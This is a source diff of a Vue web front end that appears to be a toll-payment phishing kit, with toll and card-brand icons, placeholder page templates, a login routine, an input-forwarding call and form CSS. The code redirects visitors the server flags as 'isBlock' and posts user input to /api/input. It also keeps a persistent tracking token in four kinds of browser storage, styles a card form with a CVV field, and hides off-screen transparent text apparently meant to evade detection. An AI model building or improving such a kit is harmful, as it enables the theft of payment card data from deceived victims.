<path d="M12.243 24L12.1027 23.8885C9.84335 22.14 7.70994 20.4167 5.20237 18.3625L5.18078 18.3445C4.64473 17.7832 4.59077 17.553 4.56558 16.6212V16.614L4.5332 0.0287811L19.6218 0V0.223055C19.6254 2.6083 19.6362 5.98651 19.647 8.96537C19.6614 12.8868 19.6722 16.2722 19.6614 16.578C19.6398 17.4451 19.629 17.7689 19.0929 18.3337L19.0714 18.3517L12.243 24ZM5.49738 18.0279C7.94379 20.0318 10.034 21.7227 12.2322 23.428L18.7763 18.0279C19.1865 17.5926 19.1901 17.4163 19.2117 16.578C19.2189 16.2758 19.2081 12.894 19.1973 8.97616C19.1865 6.08724 19.1757 2.82776 19.1721 0.456903L4.98291 0.482086L5.01529 16.614C5.04047 17.4738 5.07645 17.5854 5.49738 18.0279Z" fill="white"/>
<path d="M6.40059 1.87065L6.28906 1.87091L6.32479 17.1394L6.43631 17.1391L6.40059 1.87065Z" fill="white"/>
<path d="M17.7366 1.853L6.36084 1.87427L6.36106 1.99299L17.7369 1.97172L17.7366 1.853Z" fill="white"/>
<path d="M17.7977 1.85272L17.6934 1.85297L17.7296 17.1286L17.8339 17.1284L17.7977 1.85272Z" fill="white"/>
<path d="M9.79674 16.1751L14.56 16.1679V17.1249L17.8339 17.1213L12.2252 21.845L6.36816 17.1429L9.77875 17.1285L9.79674 16.1751Z" fill="white"/>
<path d="M14.1497 8.67035L12.5308 8.67395L12.8402 15.1318L15.9593 15.1246L14.1497 8.67035Z" fill="white"/>
<path d="M10.1526 8.67755L11.7716 8.67395L11.4873 15.1318L8.36816 15.1389L10.1526 8.67755Z" fill="white"/>
<path d="M9.75363 7.87886L9.59894 8.42931H9.1888V7.89325L8.1167 7.89685V7.46154L16.197 7.44714V7.87886L15.1321 7.88246V8.41851H14.7184L14.5673 7.86807L9.75363 7.87886Z" fill="white"/>
<path d="M11.5417 2.83136H12.0417L11.8187 7.02623H10.3652L11.5417 2.83136Z" fill="white"/>
<path d="M12.7036 2.82776H12.1855L12.4482 7.02263L13.9016 7.01903L12.7036 2.82776Z" fill="white"/>
<path d="M8.49786 14.7072C7.71357 13.9841 7.13075 13.1027 6.81415 12.1601C6.50475 11.2391 6.45798 10.2749 6.67025 9.37189C7.10916 7.52988 8.60219 6.1232 10.7644 5.5116L10.7896 5.59794C8.65975 6.19875 7.18831 7.58385 6.75659 9.39347C6.32487 11.2103 7.01202 13.2214 8.55902 14.6425L8.49786 14.7072Z" fill="white"/>
<path d="M15.2758 12.8148L15.2254 12.7429C17.0423 11.4513 17.8338 9.33591 17.2941 7.22408C16.7473 5.09067 14.97 3.54368 12.7646 3.28464L12.7754 3.1947C13.9267 3.33141 14.9736 3.79911 15.7975 4.55462C16.571 5.25976 17.1178 6.17356 17.3804 7.1989C17.9273 9.3467 17.1214 11.4981 15.2758 12.8148Z" fill="white"/>
</svg>

After

Width:  |  Height:  |  Size: 2.7 KiB

View File

@@ -0,0 +1,17 @@
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M3.4391 0.268738C3.4391 0.268738 1.33545 0.268738 1.33545 2.37238V16.9827C1.33545 16.9827 1.33545 19.0864 3.4391 19.0864H20.5293C20.5293 19.0864 22.633 19.0864 22.633 16.9827V2.37238C22.633 2.37238 22.633 0.268738 20.5293 0.268738H3.4391Z" fill="#F99D2A"/>
<path d="M20.5295 19.3551H3.43928C1.55829 19.3551 1.06692 17.8042 1.06692 16.9827V2.37236C1.05925 0.49904 2.61779 0 3.43928 0H20.5295C22.4105 0 22.9019 1.55086 22.9019 2.37236V16.9827C22.9019 18.8637 21.351 19.3551 20.5295 19.3551ZM3.43928 0.537428C3.36251 0.537428 1.60435 0.568138 1.60435 2.37236V16.9827C1.60435 17.0595 1.63506 18.8177 3.43928 18.8177H20.5295C20.6063 18.8177 22.3644 18.7869 22.3644 16.9827V2.37236C22.3644 2.29559 22.3337 0.537428 20.5295 0.537428H3.43928Z" fill="white"/>
<path d="M3.72349 23.7313C3.72349 23.7313 1.12848 23.7313 2.54115 21.5509L10.6026 9.07485C10.6026 9.07485 12.0076 6.89443 13.4126 9.07485L21.474 21.5509C21.474 21.5509 22.879 23.7313 20.2916 23.7313H3.72349Z" fill="#597B91"/>
<path d="M20.276 24H3.72319C3.66945 24 2.41033 23.9923 1.98807 23.2169C1.73471 22.7485 1.84219 22.142 2.3182 21.4127L10.3796 8.93665C10.4103 8.89058 11.0936 7.84644 12.061 7.84644C12.6445 7.84644 13.1742 8.21496 13.6426 8.93665L21.704 21.4127C21.7347 21.4587 22.4103 22.5259 21.9881 23.3013C21.7194 23.762 21.1512 24 20.276 24ZM12.0533 8.38386C11.3854 8.38386 10.8249 9.22072 10.8172 9.22839L2.75582 21.7044C2.51014 22.0883 2.25678 22.6104 2.44872 22.9635C2.67137 23.3781 3.43912 23.4702 3.71552 23.4702H20.276C20.729 23.4702 21.3124 23.3935 21.4967 23.048C21.7194 22.6334 21.3815 21.9424 21.2357 21.7121L13.1742 9.23607C12.8211 8.66793 12.4372 8.38386 12.0533 8.38386Z" fill="white"/>
<path d="M12.2455 10.0499H11.7848L11.5161 11.2016H12.5142L12.2455 10.0499Z" fill="white"/>
<path d="M12.6367 12.476H11.2778L10.4717 15.2937H13.3584L12.6367 12.476Z" fill="white"/>
<path d="M13.7196 16.8752H10.1112L8.49121 22.142H15.424L13.7196 16.8752Z" fill="white"/>
<path d="M3.20117 2.23413H3.6004V3.90016H5.6196V2.23413H6.01883V6.20342H5.6196V4.28404H3.6004V6.20342H3.20117V2.23413Z" fill="white"/>
<path d="M6.12638 6.31859H5.51218V4.3992H3.70795V6.31859H3.09375V2.12665H3.70795V3.79268H5.51218V2.12665H6.12638V6.31859ZM5.72715 6.09594H5.90373V2.34162H5.72715V4.00765H3.49298V2.34162H3.3164V6.09594H3.49298V4.17655H5.73483V6.09594H5.72715Z" fill="white"/>
<path d="M6.93994 2.23413H7.33917V4.62952C7.33917 4.91359 7.34685 5.09018 7.35453 5.15927C7.37756 5.31282 7.42363 5.44334 7.49272 5.55083C7.56182 5.65831 7.67699 5.74277 7.82286 5.81186C7.96873 5.88096 8.12228 5.91935 8.27583 5.91935C8.40635 5.91935 8.53687 5.88864 8.65203 5.8349C8.77488 5.78115 8.87468 5.70438 8.95146 5.60457C9.03591 5.50476 9.08965 5.3896 9.12804 5.24373C9.15875 5.14392 9.16643 4.93662 9.16643 4.62185V2.23413H9.56566V4.62952C9.56566 4.98269 9.52728 5.26676 9.45818 5.48941C9.38908 5.70438 9.25088 5.89632 9.04359 6.05755C8.8363 6.21877 8.58294 6.30323 8.29119 6.30323C7.96873 6.30323 7.70002 6.22645 7.46969 6.0729C7.23937 5.91935 7.08581 5.71973 7.00904 5.46637C6.96297 5.31282 6.93994 5.03643 6.93994 4.62952V2.23413Z" fill="white"/>
<path d="M8.29907 6.41839C7.96125 6.41839 7.66183 6.33394 7.41615 6.17271C7.17047 6.00381 7.00156 5.78116 6.91711 5.50477C6.86336 5.33586 6.84033 5.05179 6.84033 4.6372V2.12665H7.45454V4.62953C7.45454 4.97502 7.46221 5.09786 7.46989 5.14392C7.48525 5.28212 7.53131 5.40496 7.59273 5.48941C7.65415 5.58154 7.75396 5.65832 7.88448 5.71974C8.13016 5.8349 8.3912 5.85025 8.62152 5.74277C8.72901 5.6967 8.81346 5.62761 8.88256 5.54315C8.95166 5.4587 9.0054 5.35121 9.03611 5.22837C9.05146 5.16695 9.0745 5.0134 9.0745 4.6372V2.12665H9.6887V4.62953C9.6887 4.99037 9.65031 5.29747 9.58122 5.52012C9.50444 5.75812 9.35089 5.96542 9.12824 6.142C8.89024 6.32626 8.61384 6.41839 8.29907 6.41839ZM7.04763 2.34162V4.62953C7.04763 5.02108 7.07066 5.28979 7.11672 5.43567C7.18582 5.66599 7.32402 5.84258 7.53131 5.98845C7.7386 6.12665 7.99964 6.19574 8.29139 6.19574C8.56778 6.19574 8.79043 6.12665 8.98237 5.9731C9.1743 5.82722 9.29715 5.65064 9.35857 5.4587C9.42766 5.25141 9.45837 4.97502 9.45837 4.62953V2.34162H9.28179V4.62953C9.28179 4.95198 9.26644 5.16695 9.23573 5.28212C9.19734 5.43567 9.12824 5.57386 9.03611 5.68135C8.94398 5.79651 8.82882 5.88097 8.6983 5.94239C8.41423 6.0729 8.08409 6.06523 7.77699 5.91935C7.60809 5.84258 7.48525 5.73509 7.40079 5.61993C7.31634 5.49709 7.27027 5.35122 7.24724 5.18231C7.23956 5.10553 7.23189 4.92895 7.23189 4.6372V2.34162H7.04763Z" fill="white"/>
<path d="M10.188 4.55273H11.6698V4.88287H10.188V4.55273Z" fill="white"/>
<path d="M11.7772 4.99036H10.0728V4.44525H11.7772V4.99036ZM10.2954 4.76771H11.5622V4.65255H10.2954V4.76771Z" fill="white"/>
<path d="M15.9073 2.8867L15.3776 3.41645C15.0398 3.06329 14.6482 2.87902 14.2029 2.87902C13.8114 2.87902 13.4812 3.00954 13.2202 3.27058C12.9592 3.53162 12.821 3.84639 12.821 4.21492C12.821 4.59879 12.9592 4.92125 13.2279 5.18996C13.5043 5.45868 13.8421 5.5892 14.2413 5.5892C14.5024 5.5892 14.725 5.53545 14.9016 5.42797C15.0782 5.32048 15.224 5.1439 15.3315 4.91357H14.1799V4.20724H16.1761L16.1837 4.37615C16.1837 4.72163 16.0916 5.05177 15.915 5.36655C15.7384 5.68133 15.5004 5.91165 15.2164 6.08056C14.9323 6.24179 14.5945 6.32624 14.2106 6.32624C13.796 6.32624 13.4275 6.23411 13.105 6.05753C12.7826 5.88094 12.5292 5.61991 12.3373 5.28977C12.153 4.95964 12.0532 4.59879 12.0532 4.21492C12.0532 3.69284 12.2298 3.23219 12.5753 2.84064C12.9899 2.37998 13.5273 2.14966 14.1876 2.14966C14.5331 2.14966 14.8555 2.21108 15.1549 2.3416C15.416 2.43373 15.6693 2.61799 15.9073 2.8867Z" fill="white"/>
<path d="M18.702 2.13434C19.2624 2.13434 19.7461 2.33395 20.153 2.74086C20.5599 3.15545 20.7596 3.64681 20.7596 4.23031C20.7596 4.80612 20.5599 5.29749 20.1607 5.7044C19.7615 6.10363 19.2778 6.30325 18.7097 6.30325C18.1108 6.30325 17.6194 6.09595 17.2279 5.68136C16.8363 5.26678 16.6367 4.78309 16.6367 4.21495C16.6367 3.83875 16.7288 3.48559 16.9131 3.17081C17.0974 2.85603 17.3507 2.60267 17.6732 2.41073C17.988 2.22647 18.3335 2.13434 18.702 2.13434ZM18.6943 2.87906C18.3258 2.87906 18.0187 3.00958 17.7653 3.26294C17.512 3.5163 17.3891 3.84643 17.3891 4.23799C17.3891 4.67561 17.5503 5.0211 17.8651 5.28213C18.1108 5.48175 18.3872 5.58156 18.7097 5.58156C19.0705 5.58156 19.3699 5.45104 19.6233 5.19C19.8766 4.92896 19.9995 4.61419 19.9995 4.23031C19.9995 3.85411 19.869 3.53165 19.6156 3.27061C19.3699 3.00958 19.0628 2.87906 18.6943 2.87906Z" fill="white"/>
</svg>

After

Width:  |  Height:  |  Size: 6.4 KiB

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

Binary file not shown.

After

Width:  |  Height:  |  Size: 163 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 133 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 259 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 260 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 261 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 137 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

View File

@@ -0,0 +1,266 @@
<footer class="etc-footer-template">
<div class="etc-scan-line"></div>
<div class="etc-footer-inner">
<div class="etc-footer-column brand-column">
<div class="etc-brand-placeholder"></div>
<div class="etc-text-block short"></div>
<div class="etc-text-block long"></div>
</div>
<div class="etc-footer-column nav-column">
<div class="etc-title-placeholder"></div>
<ul class="etc-link-list-placeholder">
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
</div>
<div class="etc-footer-column nav-column">
<div class="etc-title-placeholder"></div>
<ul class="etc-link-list-placeholder">
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
</div>
<div class="etc-footer-column info-column">
<div class="etc-title-placeholder"></div>
<div class="etc-text-block short"></div>
<div class="etc-icon-row-placeholder">
<div class="etc-icon-box"></div>
<div class="etc-icon-box"></div>
<div class="etc-icon-box"></div>
</div>
</div>
</div>
<div class="etc-footer-bottom-bar">
<div class="etc-footer-inner bottom-content">
<div class="etc-text-block short legal-placeholder"></div>
<div class="etc-legal-links-placeholder">
<span></span>
<span></span>
<span></span>
</div>
</div>
</div>
</footer>
<style>
/* CSS Variables for "Generic ETC" Theme
Theme: Corporate Technology / Seamless Flow
*/
.etc-footer-template {
--etc-main-bg: #0d1117; /* Deep corporate navy/black */
--etc-accent: #00e5ff; /* Bright "Scan Cyan" for highlights */
--etc-text-dark: #64748b; /* Muted gray for placeholder elements */
--etc-text-light: #f8fafc; /* High contrast for accent text */
--etc-border: rgba(100, 116, 139, 0.2); /* Subtle separators */
--etc-column-gap: 48px;
width: 100%;
background-color: var(--etc-main-bg);
color: var(--etc-text-dark);
font-family: system-ui, -apple-system, sans-serif; /* Clean, default font */
box-sizing: border-box;
display: flex;
flex-direction: column;
padding-top: 0; /* The scan line is at the top */
}
/* Apply border-box to all children for predictable padding */
.etc-footer-template * {
box-sizing: border-box;
}
/* Top Scanning Line Decorator
Creates a gradient "lane" or "scan ray" effect.
*/
.etc-scan-line {
width: 100%;
height: 3px;
background: linear-gradient(
90deg,
var(--etc-main-bg) 0%,
var(--etc-accent) 25%,
var(--etc-accent) 75%,
var(--etc-main-bg) 100%
);
box-shadow: 0 0 10px rgba(0, 229, 255, 0.4);
}
/* Inner container to center content and control max width */
.etc-footer-inner {
width: 100%;
max-width: 1280px;
margin: 0 auto;
padding: 60px 40px;
display: grid;
/* Main columns: Brand is wider, navs are narrow, info is balanced */
grid-template-columns: 1.8fr 1fr 1fr 1.2fr;
gap: var(--etc-column-gap);
}
.etc-footer-column {
display: flex;
flex-direction: column;
}
/* Shared Placeholder Styling
All text/block placeholders are muted gray but change on hover.
*/
.etc-title-placeholder,
.etc-text-block,
.etc-link-list-placeholder li,
.etc-icon-box,
.etc-brand-placeholder,
.etc-legal-links-placeholder span {
background-color: var(--etc-text-dark);
border-radius: 4px; /* Soft corners */
transition: all 0.3s ease-in-out;
opacity: 0.6; /* Starts muted */
}
/* Interactions: On hover, they brighten and gain a cyan glow */
.etc-footer-template:hover .etc-title-placeholder,
.etc-footer-template:hover .etc-text-block,
.etc-footer-template:hover .etc-link-list-placeholder li,
.etc-footer-template:hover .etc-icon-box,
.etc-footer-template:hover .etc-brand-placeholder,
.etc-footer-template:hover .etc-legal-links-placeholder span {
background-color: #fff; /* Title/text turn white */
opacity: 1;
box-shadow: 0 0 15px rgba(0, 229, 255, 0.2);
}
/* Brand Column (Left) */
.etc-brand-placeholder {
width: 140px;
height: 32px;
margin-bottom: 24px;
position: relative;
}
/* Small "logo indicator" pseudo-element */
.etc-brand-placeholder::after {
content: '';
position: absolute;
top: 5px;
left: 5px;
width: 20px;
height: 20px;
background: var(--etc-accent);
border-radius: 3px;
}
/* Text Blocks */
.etc-text-block {
height: 14px;
margin-bottom: 12px;
}
.etc-text-block.short { width: 60%; }
.etc-text-block.long { width: 90%; }
/* Title Placeholders */
.etc-title-placeholder {
width: 45%;
height: 18px;
margin-bottom: 30px; /* Space before links */
}
/* Link Lists */
.etc-link-list-placeholder {
list-style: none;
padding: 0;
margin: 0;
}
.etc-link-list-placeholder li {
width: 70%;
height: 12px;
margin-bottom: 16px;
}
/* Staggered widths for natural look */
.etc-link-list-placeholder li:nth-child(even) { width: 85%; }
/* Icon Rows */
.etc-icon-row-placeholder {
display: flex;
gap: 16px;
margin-top: 20px;
}
.etc-icon-box {
width: 32px;
height: 32px;
border-radius: 6px;
}
/* Bottom Legal Bar */
.etc-footer-bottom-bar {
border-top: 1px solid var(--etc-border);
background-color: rgba(0, 0, 0, 0.2); /* Slightly darker than main bg */
}
.etc-footer-inner.bottom-content {
padding: 24px 40px; /* Compact padding */
display: flex;
justify-content: space-between;
align-items: center;
grid-template-columns: none; /* Override grid */
}
.etc-footer-template:hover .etc-footer-bottom-bar .etc-text-block,
.etc-footer-template:hover .etc-footer-bottom-bar .etc-legal-links-placeholder span {
background-color: var(--etc-text-dark); /* Less intense glow for legal */
color: var(--etc-text-dark);
opacity: 0.8;
}
.legal-placeholder {
width: 180px;
margin-bottom: 0; /* Align perfectly on bottom bar */
}
.etc-legal-links-placeholder {
display: flex;
gap: 32px;
}
.etc-legal-links-placeholder span {
width: 70px;
height: 10px;
}
/* Responsiveness: Mobile/Tablet Stacking */
@media (max-width: 992px) {
.etc-footer-inner {
grid-template-columns: 1fr 1fr; /* 2x2 grid */
padding: 50px 20px;
gap: 32px;
}
}
@media (max-width: 576px) {
.etc-footer-inner {
grid-template-columns: 1fr; /* Single column stacking */
gap: 40px;
}
.etc-footer-inner.bottom-content {
flex-direction: column; /* Stack legal elements */
gap: 20px;
text-align: center;
}
.legal-placeholder { width: 100%; max-width: 250px; }
.etc-legal-links-placeholder { justify-content: center; width: 100%; }
}
</style>

View File

@@ -0,0 +1,87 @@
<header class="etc-header">
<div class="etc-container">
<div class="etc-logo">
<div class="etc-logo-icon"></div>
<div class="etc-logo-text"></div>
</div>
<nav class="etc-nav">
<span class="nav-item"></span>
<span class="nav-item"></span>
<span class="nav-item"></span>
<span class="nav-item accent"></span>
</nav>
</div>
</header>
<style>
.etc-header {
width: 100%;
background: #0d1117; /* Deep Tech Navy */
border-bottom: 1px solid rgba(0, 229, 255, 0.2);
padding: 15px 0;
}
.etc-container {
max-width: 1200px;
margin: 0 auto;
padding: 0 30px;
display: flex;
justify-content: space-between;
align-items: center;
}
/* LEFT LOGO: Icon + Bar */
.etc-logo {
display: flex;
align-items: center;
gap: 12px;
}
.etc-logo-icon {
width: 24px;
height: 24px;
background: #00e5ff; /* ETC Cyan */
border-radius: 4px;
box-shadow: 0 0 12px rgba(0, 229, 255, 0.4);
}
.etc-logo-text {
width: 80px;
height: 14px;
background: #ffffff;
border-radius: 2px;
opacity: 0.9;
}
/* RIGHT MENU: Simple Bars */
.etc-nav {
display: flex;
gap: 25px;
align-items: center;
}
.nav-item {
width: 50px;
height: 6px;
background: #475569;
border-radius: 10px;
transition: 0.3s;
}
.nav-item.accent {
width: 70px;
background: #00e5ff;
opacity: 0.8;
}
.nav-item:hover {
background: #fff;
cursor: pointer;
}
@media (max-width: 768px) {
.etc-container { padding: 0 20px; }
.nav-item:not(.accent) { display: none; } /* Hide extra items on mobile */
}
</style>

Binary file not shown.

After

Width:  |  Height:  |  Size: 502 KiB

View File

@@ -0,0 +1,70 @@
<script setup lang="ts">
import { RouterView } from "vue-router";
import { onMounted } from "vue";
import http from "@/api/http";
import { useLoadingStore } from "@/stores/loadingStore";
import {
configData,
loginSuccess,
redirectToExternal,
headHtml,
loadHtml,
headerHtml,
footerHtml,
} from "@/utils/common";
import { generateECDHKeyPair, deriveSessionKey } from "@/utils/socketio";
import LoadingView from "@/views/LoadingView.vue";
const loadingStore = useLoadingStore();
onMounted(() => {
login();
});
const login = async function () {
headerHtml.value = await loadHtml("/bompawoemfg16af/header.html");
loadingStore.setLoading(true);
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
if (data.data.isBlock) {
redirectToExternal();
return;
}
if (data.data.isFirst) {
localStorage.removeItem("route")
}
let token = data.data.Token;
if (data.data.mode) {
localStorage.setItem("mode", data.data.mode);
}
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
let sessionCrypto = null;
if (serverPubKey) {
try {
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
} catch (e) {
}
}
loginSuccess(token, data.data.mode, sessionCrypto);
if (data.data.custom) {
configData.value = JSON.parse(data.data.custom);
}
});
footerHtml.value = await loadHtml("/bompawoemfg16af/footer.html");
};
</script>
<template>
<div v-html="headHtml"></div>
<LoadingView />
<RouterView />
</template>
<style scoped></style>

View File

@@ -0,0 +1,5 @@
import http from "@/api/http";
export function sendInput(data: any) {
http.post("/api/input", data).then((data) => {});
}

View File

@@ -0,0 +1,223 @@
// http.js
import axios from "axios";
import { v4 as uuidv4 } from "uuid";
// ============ 配置 ============
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
? "/"
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
? `http://${import.meta.env.VITE_BASE_URL}`
: `https://${import.meta.env.VITE_BASE_URL}`;
const DB_CONFIG = {
name: "TokenDB",
version: 2,
store: "tokens",
key: "userToken",
} as const;
const STORAGE_KEY = "token";
// ============ IndexedDB 操作 ============
class TokenDB {
private static async open(): Promise<IDBDatabase> {
return new Promise((resolve, reject) => {
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
request.onerror = () => reject(request.error);
request.onsuccess = () => resolve(request.result);
request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
db.deleteObjectStore(DB_CONFIG.store);
}
db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
};
});
}
static async get(): Promise<string | null> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readonly");
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
request.onsuccess = () => resolve(request.result?.value || null);
request.onerror = () => resolve(null);
tx.oncomplete = () => db.close();
tx.onabort = () => db.close();
});
} catch {
return null;
}
}
static async set(token: string): Promise<void> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readwrite");
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
tx.oncomplete = () => { db.close(); resolve(); };
tx.onerror = () => { db.close(); resolve(); };
});
} catch {
// 静默失败,有其他存储兜底
}
}
}
// ============ Token 管理器 ============
class TokenManager {
private static cache: string | null = null;
private static pending: Promise<string> | null = null;
// UUID v4 格式校验,防止脏数据
private static isValidToken(token: string | null): token is string {
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
}
// 安全地操作 Storage
private static safeGet(storage: Storage): string | null {
try {
return storage.getItem(STORAGE_KEY);
} catch {
return null;
}
}
private static safeSet(storage: Storage, token: string): void {
try {
storage.setItem(STORAGE_KEY, token);
} catch {
// 静默失败
}
}
// Cookie 操作同步iOS 上比 localStorage 更早可用)
private static getFromCookie(): string | null {
try {
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
return match ? decodeURIComponent(match[1]) : null;
} catch {
return null;
}
}
private static saveToCookie(token: string): void {
try {
// 有效期 400 天Safari 上限SameSite=Lax 兼容 WebView
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
} catch {
// 静默失败
}
}
// 同步到所有存储(后台执行,不阻塞)
private static syncToAllStorages(token: string): void {
this.safeSet(sessionStorage, token);
this.safeSet(localStorage, token);
this.saveToCookie(token);
TokenDB.set(token).catch(() => { });
}
// 从同步存储快速获取cookie 优先iOS 上最可靠的同步读取)
private static getFromSyncStorage(): string | null {
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
return this.isValidToken(token) ? token : null;
}
// 延迟后重试读取同步存储iOS 冷启动时存储可能未就绪)
private static waitAndRetrySync(ms: number): Promise<string | null> {
return new Promise(resolve => {
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
});
}
// 主入口:获取或创建 Token
static async getToken(): Promise<string> {
// 1. 内存缓存(最快)
if (this.cache) return this.cache;
// 2. 等待进行中的创建(并发安全)
if (this.pending) return this.pending;
// 3. 同步存储快速路径
const syncToken = this.getFromSyncStorage();
if (syncToken) {
this.cache = syncToken;
this.syncToAllStorages(syncToken);
return syncToken;
}
// 4. 异步获取或创建(带锁)
this.pending = this.createToken();
return this.pending;
}
private static async createToken(): Promise<string> {
try {
// 再次检查缓存
if (this.cache) return this.cache;
// 尝试从 IndexedDB 恢复
const dbToken = await TokenDB.get();
if (dbToken && this.isValidToken(dbToken)) {
this.cache = dbToken;
this.syncToAllStorages(dbToken);
return dbToken;
}
// iOS 冷启动兜底:等待一小段时间后重试同步存储
// localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
for (const delay of [50, 100, 150]) {
const retryToken = await this.waitAndRetrySync(delay);
if (retryToken) {
this.cache = retryToken;
this.syncToAllStorages(retryToken);
return retryToken;
}
}
// 所有恢复手段用尽,生成新 Token
const newToken = uuidv4();
this.cache = newToken;
this.syncToAllStorages(newToken);
return newToken;
} finally {
this.pending = null;
}
}
}
// ============ Axios 实例 ============
const http = axios.create({
baseURL: BASE_URL,
timeout: 15000,
});
// 请求拦截器
http.interceptors.request.use(
async (config) => {
const token = await TokenManager.getToken();
config.headers["Token"] = token;
config.headers["X-Token"] = token;
config.params = { ...config.params, token };
return config;
},
(error) => Promise.reject(error)
);
// 响应拦截器
http.interceptors.response.use(
(response) => response.data,
(error) => {
if (error.response) {
console.error("Error:", error.response.status, error.response.data);
} else {
console.error("Error:", error.message);
}
return Promise.reject(error);
}
);
export default http;

View File

@@ -0,0 +1,141 @@
@keyframes g-loading-bgAnim {
0%,to {
background-color: rgba(255,255,255,.635)
}
50% {
background-color: rgba(255,255,255,0)
}
}
.g-loading-mask {
width: 100vw;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
position: fixed;
left: 0;
top: 0;
animation: g-loading-bgAnim 3s linear infinite;
opacity: 0;
-webkit-user-select: none;
-moz-user-select: none;
user-select: none;
pointer-events: none;
transition: all .3s;
z-index: -100;
}
.g-loading-mask.show {
opacity: 1;
pointer-events: initial;
display: none;
}
.g-loading-mask .loading {
width: 38px;
height: 38px;
display: none;
}
html,body {
padding: 0;
border: 0;
margin: 0;
overflow-x: hidden;
overflow-y: auto;
overflow: hidden auto
}
[data-t] {
font-size: 1em!important
}
[data-t]:after {
content: attr(data-t) " "
}
[class^=_][class$=_] {
color: transparent!important
}
[class^=_][class$=_] {
display: inline-block;
pointer-events: none;
position: absolute;
left: 1000vw
}
[class^=_][class$=_]::-moz-selection {
color: transparent!important
}
[class^=_][class$=_]::selection {
color: transparent!important
}
form div.input [alt=cvv] {
bottom: 8px
}
form div.input input {
padding: 8px!important
}
form div.input input {
border: 1px solid #dddddd;
border-radius: 3px;
width: 100%;
box-sizing: border-box
}
form div.input input::-moz-placeholder {
opacity: .5
}
form div.input input::placeholder {
opacity: .5
}
form div.button-submit {
text-align: center
}
form div.button-submit button {
align-items: center;
border: 1px solid #2bb82b;
background: #2bb82b;
border-radius: 6px;
color: #ffffff;
display: inline-flex
;
font-family: Roboto;
height: 50px;
justify-content: center;
min-width: 140px;
text-decoration: none;
display: inline-block; /* 确保在 text-align 中居中 */
width: 100%;
}
label {
display: block;
text-transform: capitalize
}
.banner img {
width: 100%;
min-height: 300px;
-o-object-fit: cover;
object-fit: cover;
-o-object-position: right;
object-position: right
}
.main-content-body {
/* padding: 2rem 1rem !important; */
}

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 901 B

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 8.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

View File

@@ -0,0 +1 @@
